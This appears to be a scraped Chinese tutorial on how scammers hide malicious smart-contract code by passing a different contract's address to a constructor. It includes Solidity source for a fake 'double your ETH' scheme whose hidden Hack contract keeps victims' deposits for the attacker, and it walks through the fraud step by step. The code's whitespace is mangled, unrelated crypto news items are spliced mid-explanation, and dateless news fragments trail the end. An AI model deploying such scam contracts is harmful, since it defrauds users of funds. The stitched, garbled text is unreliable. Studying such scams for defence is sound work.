概述
上期我們了解了利用tx.origin進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。
前置知識
大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個A合約并告訴受害者我們會在部署A合約的構造函數中傳入B合約的地址并將B合約開源,其實我們會在部署A合約時傳入C合約的地址,如果受害者完全信任我們沒有檢查部署A合約的那筆交易,我們就完美的將惡意代碼隱藏在了C合約中。我們可以從下圖來理解這個邏輯:
用戶以為的調用路徑:
部署合約A傳入合約B地址,這樣調用路徑為正常路徑。
實際的調用路徑:
智能合約安全監控項目 Forta Network 已開放空投申領,將上線 Coinbase:6月16日消息,由 OpenZeppelin 孵化的智能合約安全實時監控項目 Forta Network 已開放 FORT 空投申領。此外,Coinbase 宣布將上線 FORT,若滿足流動性條件,將開放 FORT/USD、FORT/USDT 交易對。
此前報道,Forta Network 宣布將向早期貢獻者進行代幣空投,FORT 代幣總量 10 億枚,4% 將用于空投,可獲得空投的地址總計 26022 個,包括了 Forta 的用戶、Forta 建設者、多簽錢包 Gnosis Safe 簽名者、Forta 貢獻者。[2022/6/16 4:30:55]
部署合約A傳入合約C地址,這樣調用路徑為非正常路徑。
下面我們使用一個簡單的例子來分析這個騙局:
惡意代碼
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}
Tellor將管理密鑰發送至“Parachute”智能合約,以應對攻擊等特殊情況:去中心化預言機Tellor已將其管理密鑰發送至“Parachute”智能合約,該合約允許Tellor團隊通過代碼驅動的清晰透明的邏輯重新獲得控制權,以修復錯誤或糾正攻擊事件。這種DAO管理的形式可幫助Tellor更加去中心化,同時有利于在未來發生災難性事件時進行補救。此前報道,今年2月Tellor在升級過程中出現重大錯誤,之后凍結了Tellor系統,迫使項目將代幣遷移到了一個新的主合約。[2021/8/12 1:50:56]
騙局分析
可以看到,上述代碼中存在三個合約,我們先結合前置知識中的A,B,C三個角色來區分三個合約分別代表什么角色:
MoneyMaker合約代表A合約;
Vault合約代表B合約;
Hack合約代表C合約。
所以用戶以為的調用路徑為:
MoneyMaker->Vault。
OKEx CEO JayHao:EVM上線可使以太坊上的智能合約遷移到OKExChain:歐易OKEx CEO Jayhao在微博表示,眾所周知,EVM是一個以太坊虛擬機,其設計是用于在以太坊網絡上執行和調用智能合約。OKExChain即將支持Cosmos WASM和EVM雙虛擬機模式,以太坊虛擬機(EVM)上線后開發者就可以使用以太坊的開發工具與語言在OKExChian上進行智能合約部署。簡單來講,你可以理解為EVM相當于是一座橋,橋梁搭建好后,所有以太坊上的智能合約可直接遷移到OKExChain部署運行,萬事俱備只欠東風[2021/2/24 17:48:28]
而實際的調用路徑為:
MoneyMaker->Hack。
下面我們來看看攻擊者如何完成騙局的:
1.Evil部署Vault(B)合約并在合約中留存100ETH資金,在鏈上將Vault(B)合約開源;
2.Evil部署Hack(C)惡意合約;
聲音 | 北斗世聯物聯網董事長:區塊鏈與智能合約的結合將金融與交易帶入智能時代:今日,在2018中國新經濟產業領袖峰會上,北斗世聯物聯網科技有限公司董事長曾釵表示:區塊鏈通過與智能合約的結合,將金融與交易帶入了智能時代。雖然還遠未成熟,但區塊鏈技術已經我們帶來了一個新的契機和轉折點。區塊鏈的下一個進化形式是網絡,眾多的區塊鏈不會再彼此分隔。[2018/9/8]
3.Evil放出消息說他將會部署一個開源的賺錢MoneyMaker(A)合約,部署時會將Vault(B)合約地址傳入且會調用Vault.setMacker()將maker角色設置為MoneyMaker合約地址,任何人調用MoneyMaker.makeMoney()向合約中打入不少于一個以太都會得到雙倍以太的回報;
4.Bob收到消息,了解到MoneyMaker合約的存在,他看了MoneyMaker(A)和Vault(B)合約的代碼并檢查了Vault(B)合約中的余額發現邏輯確實如Evil說的那樣,他在沒有檢查MoneyMaker(A)部署交易的情況下就相信了Evil;
聲音 | 安比實驗室:8月ETH主網智能合約創建總量創17個月新低 或因ETH交易市場遇冷:據安比實驗室智能合約監控平臺數據顯示,2018 年 8 月以太坊主網智能合約創建總量為 51583,創 2017 年 4 月以來新低。8 月創建合約最多的地址為0x9862D074e33003726fA05c74F0142995f33A3250,共創建合約 8802 個。經安比實驗室逆向分析,該地址創建合約字節碼完全一致,疑似為錢包合約。據 BitcoinTalk 論壇網友舉證,該地址疑似與 BiteBTC 和 BITRADERHUB 有關,且大量用戶聲稱其存在詐騙行為。據安比實驗室,大量數字貨幣交易所會批量創建智能合約作為用戶錢包,用于處理用戶的各類資產。之前有過報道,7 月份智能合約創建數量暴漲,疑似與某交易所大量創建錢包合約有關。而 8 月合約新增數量創 17 個月以來新低,則很可能與加密貨幣尤其是以太坊資產交易市場遇冷、新增用戶規模萎縮存在重要聯系。[2018/9/3]
5.Bob調用MoneyMaker.makeMoney()向合約中打入自己全部身家20ETH,在他滿懷期待等著收到Vault(B)打來的40ETH時等來的卻是一句"Haha,youretherismine!"。
咋回事呢?其實這個騙局非常簡單但是很常見。Evil在部署MoneyMaker合約時傳入的并不是Vault合約的地址,而是傳入了Hack合約的地址。所以當Bob調用MoneyMaker.makeMoney()時并不會像他想像中的那樣MoneyMaker.makeMoney()去調用Vault.transfer()回打給他雙倍的以太,而是調用了Hack.transfer()拋出了一個事件:"Haha,youretherismine!"。最后Evil調用Vault.withrow()將Vault合約中的100ETH轉出,并通過Hack.withrow()將Bob轉入的20ETH轉出。
預防建議
以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。
在幣圈,有一類奇葩的虛擬代幣項目頗受追捧,人們通常叫它“土狗”。這些項目一般團隊匿名,沒啥技術含量,強調草根文化,甚至會明說“代幣沒有價值”.
1900/1/1 0:00:00據CoinDesk12月11日消息,以太坊開發者VirgilGriffith的律師已于過去的一周提交了文件,聲稱他們仍然不知道VirgilGriffith到底是因為什么而被指控.
1900/1/1 0:00:00原文作者:JoséMariaMacedo,DelphiVentures合伙人原文編譯:深潮TechFlowCosmos生態向外界展示了強大的增長勢頭和技術創新.
1900/1/1 0:00:00|合規聯盟原創出品| 案情簡介 2018年4月起,原告彭建媛陸續通過銀行轉賬、支付寶轉賬等方式向被告陶步祥交付319256元,用于購買一種叫CMC的幣種.
1900/1/1 0:00:00來源:《科創板日報》 記者徐賜豪 圖片來源:由無界AI工具生成根據將于2023年6月1日生效的新發牌制度,所有在香港經營業務或向香港投資者積極進行推廣的虛擬資產交易平臺,將需獲證監會發牌.
1900/1/1 0:00:00來源|A16z文件 編譯|白澤研究院 文前注: 在?Coinbase、FTX和Binance相繼提出加密監管愿景之后.
1900/1/1 0:00:00